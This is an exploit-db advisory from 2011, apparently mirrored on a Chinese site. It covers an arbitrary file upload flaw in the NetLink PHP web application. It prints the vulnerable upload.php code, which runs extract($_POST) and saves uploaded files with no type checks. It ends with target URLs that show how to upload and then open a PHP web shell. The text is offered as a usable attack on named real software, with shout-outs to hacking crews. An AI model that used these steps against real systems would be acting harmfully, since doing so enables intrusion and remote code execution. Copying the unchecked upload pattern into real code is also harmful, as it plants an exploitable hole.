NetLink – Arbitrary File Upload - 体验盒子

作者： lumut--

日期： 2011-02-01

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/16088/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

======================================

NetLink Remote Arbitrary File Upload Vulnerability

Download: http://sourceforge.net/projects/kp-netlink/

by lumut--

Homepage: lumutcherenza.biz

======================================

[upload.php]

<?php

extract($_POST);

if ($submit)

{

$file_name=$_FILES['filename']['name'];

$file_type=$_FILES['filename']['type'];

$file_tmp=$_FILES['filename']['tmp_name'];

$file_size=$_FILES['filename']['size'];

$user=$_SESSION['login'];

echo "Upload Stats: ";

echo "<blockquote style='font-size:10pt;'>";

echo "Filename: ".$file_name;

echo " File Type: ".$file_type;

echo " File Size: ".$file_size;

#now that the stats have been declared & displayed, now we process and

upload the file

$file_dest = "Users/$user/";

$file_dest = $file_dest . $_FILES['filename']['name'];

echo " Copying $file_name....";

echo " Moving copied file to $user's account...";

echo "</blockquote>";

if (move_uploaded_file($_FILES['filename']['tmp_name'], $file_dest))

print "File '$file_name' was successfully uploaded to account

$user. ";

else

{

print "Possible file upload attack!Here's some debugging info:\n";

print_r($_FILES);

}

touch("Users/$user/$file_name");

include("options.php");

echo "<hr color='#000000'/>";

}

?>

expl: http://[target]/[netlink_path]/upload.php

shell: http://[target]/[netlink_path]/Users/yourshell.php

======================================================================

thx to : cr4wl3r, Team_elitE, kisame, aNtI_hAcK, kazuya, PunkRock and

manadocoding team :D

======================================================================